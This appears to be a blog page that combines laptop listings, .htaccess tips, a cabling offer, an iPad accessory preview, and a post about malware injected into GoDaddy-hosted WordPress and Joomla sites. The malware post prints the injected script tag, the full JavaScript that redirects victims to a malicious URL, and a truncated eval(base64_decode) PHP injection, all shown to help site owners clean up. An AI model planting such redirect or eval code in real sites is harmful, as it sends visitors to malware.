Sony VAIO VPCZ127GX/S Laptop Computer
Sony VAIO VPCZ127GX/S Laptop Computer – Intel Core i5-520M 2.40GHz, 6GB DDR3, 384GB SSD, DVDRW, 13.1 Display, Windows 7 Professional 64-bit, Silver  $2899

Sony VAIO VPCZ124GX/B Laptop Computer
Sony VAIO VPCZ124GX/B Laptop Computer – Intel Core i5-520M 2.40GHz, 4GB DDR3, 256GB SSD, DVDRW, 13.1 Display, Windows 7 Professional 64-bit, Black

$2249


Sony VAIO VPCZ124GX/S Laptop Computer
Sony VAIO VPCZ124GX/S Laptop Computer – Intel Core i5-520M 2.40GHz, 4GB DDR3, 256GB SSD, DVDRW, 13.1 Display, Windows 7 Professional 64-bit, Silver

$2249

Just a couple of days ago, another round of attacks to many sites hosted at GoDaddy had been performed.  The majority of the infections were mainly Joomla and WordPress based sites.  I actually own one site that had been compromised and thankfully it doesn’t get much traffic as it had been launched not too long ago.

Either way, I did dig into the files and found the javascripts that were injected into many of the pages / posts on the site.  Here’s what it looks like:

< script src=”http://kdjkfjskdfjlskdjf.com/kp.php”>

Further investigation of the file revealed this source code (this is the kp.php file by the way)

function setCookie(c_name,value,expiredays)
{
var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays);
document.cookie=c_name+ “=” +escape(value)+ ((expiredays==null) ? “” :
“;expires=”+exdate.toGMTString()); } function getCookie(c_name){
if (document.cookie.length>0)
{
c_start=document.cookie.indexOf(c_name + “=”);
if (c_start!=-1) { c_start=c_start + c_name.length+1;
c_end=document.cookie.indexOf(“;”,c_start);
if (c_end==-1) c_end=document.cookie.length; return
unescape(document.cookie.substring(c_start,c_end)); } } return “”; } var
name=getCookie(“pma_visited_theme1″); if (name==”"){ setCookie(“pma_visited_theme1″,”1″,20);
var
url=”http://www3.workfree36-td.xorg.pl/?p=p52dcWpkbG6Hnc3KbmNToKV1iqHWnG3KXsWYlGhnZWuVmA%3D%3D”; window.top.location.replace(url);
}else{ }

The text in bold above is the source for the malware that’s actually called in to infect the user’s PC / browser

Resolution? Easy, open up your index files and look for the following code:

< ?php /**/ eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ2..

Also, for the unlucky ones using WordPress, your themes folder houses all of your PHP files.  Go through them one by one and clean them up.

Just an FYI, I came across a tweet from Godaddy confirming the hack but they did not indicate how many sites were actually attacked / infected.

For help with such infections, or for solid, cheap and reliable hosting don’t hesitate to contact us for additional information.  We also provide SOLID and Black Hat free SEO services.

This actually sucked!  After spending countless hours trying to figure out a proper .htaccess configuration for a few of our clients (part of updating their sites to meet Google’s ranking demands)  – I’ve come to notice that Godaddy hosting has not enabled some modules specially for linux based hosting.   The following is a complete working .htaccess file that i wrote after experimenting with the working modules – which does the following:

  1. 301 redirect from non www to www domain
  2. Compresses gif, jpeg and jpg and css
  3. Sets the Header Cache Control to 1 month

rewriteengine on
rewritecond %{HTTP_HOST} ^yourwebsite.com$
rewriterule ^$ “http\:\/\/www\.yourwebsite\.com\/” [R=301,L]

<IfModule mod_deflate.c>
SetOutputFilter DEFLATE
SetEnvIfNoCase Request_URI \
\.(?:gif|jpe?g|png|css)$ no-gzip dont-vary
</IfModule>

<FilesMatch “\.(jpg|jpeg|png|gif|css)$”>
Header set Cache-Control “max-age=2419200, public”
</FilesMatch>

Needless to say, keep a working copy of your .htaccess file as a backup in case anything does go wrong.  DO NOT make any changes without instantly checking your website incase if it does go down.  At worst case scenario,  you can remove the .htaccess file incase of corruption and your site will be back online.

There are also some other variations that i’ve experimented with if you’d like to give it a shot.  Do this at your own risk ofcourse :)

This one uses the Expire module which Godaddy does not have enabled and will refuse to enable it without you upgrading to atleast a virtual dedicated server.

#Expire Header
<FilesMatch “\.(ico|jpg|jpeg|png|gif|js|css|swf)$”>
ExpiresDefault “access plus 2 hours”
</FilesMatch>

This is another way to Set the module mod_expires

<IfModule mod_expires.c>
ExpiresActive on
ExpiresByType image/jpeg “access 2 month”
ExpiresByType image/gif “access 2 month”
ExpiresByType image/jpg “access 2 month”
ExpiresByType image/png “access 2 month”
ExpiresByType text/css “access 2 month”
ExpiresByType text/html “access 1 day”
ExpiresByType text/css “access 1 day”
ExpiresByType application/javascript “access plus 1 month”
</IfModule>

Good luck!

Valid until the Feb. 28 (the end of this month), receive any type of high quality cabling for any application for $110 per location.  Use the following link for more info: Cabling

Valid for Miami, FL and surrounding areas.

Note: certain restrictions apply

Below are the 5 gadgets that apple is looking to release at time of rolling out the Ipad.  Here’s a break down of what to expect:

Ipad Keyboard Dock

The Keyboard Dock is used for charging your iPad and is built in with an integrated full sized keyboard.  The dock has a rear 30-pin connector port allowing you to connect to an electrical outlet using a USB adapter or  sync to your PC, and use accessories like the Camera Connection Kit. An audio jack will allow you to connect to a stereo or powered speakers. The dock will sell for approximately $69.  This dock would be great to allow it to possibly take on the role of acting as a server and allowing an Iphone to sync to it in our opinion!

Ipad Dock

The iPad Dock allows you to dock and charge your iPad.  Using the rear 30-pin connector, you can connect the iPad Dock to an electrical power source using the USB power adapter, sync to your pc / laptop, or use accessories like the Camera Connection Kit.  A built in audio jack lets you connect to a stereo or powered speakers / systems.  The dock will come with the iPad and can be purchased separately for $29.

Ipad Camera Connection Kit

The Camera Connection Kit gives you many ways to import you photos and videos from your digital media or camera. It also lets you import your photos and videos to the iPad using the camera’s USB cable.  As an alternative, you can use the SD Card Reader to import photos and videos straight from the camera’s SD card.

iPad USB Power Adapter

A 10W USB charger lets you charge your iPad directly through an electrical outlet.  Included is a 6 foot long power cable that allows you to charge the iPad from a greater distance.

iPad Case
One accessory we recommend that you get is The iPad Case which not only protects the iPad but it can be used and positioned in various ways.  This case makes typing, looking at photos or viewing slide shows and movies a great experience and a comfortable one too. The iPad Case comes with a picture frame stand, and will sell for approx $39.

There will definitely be many third-party cases and accessories announced by major vendors in the next coming days and we will definitely be informing you of the latest!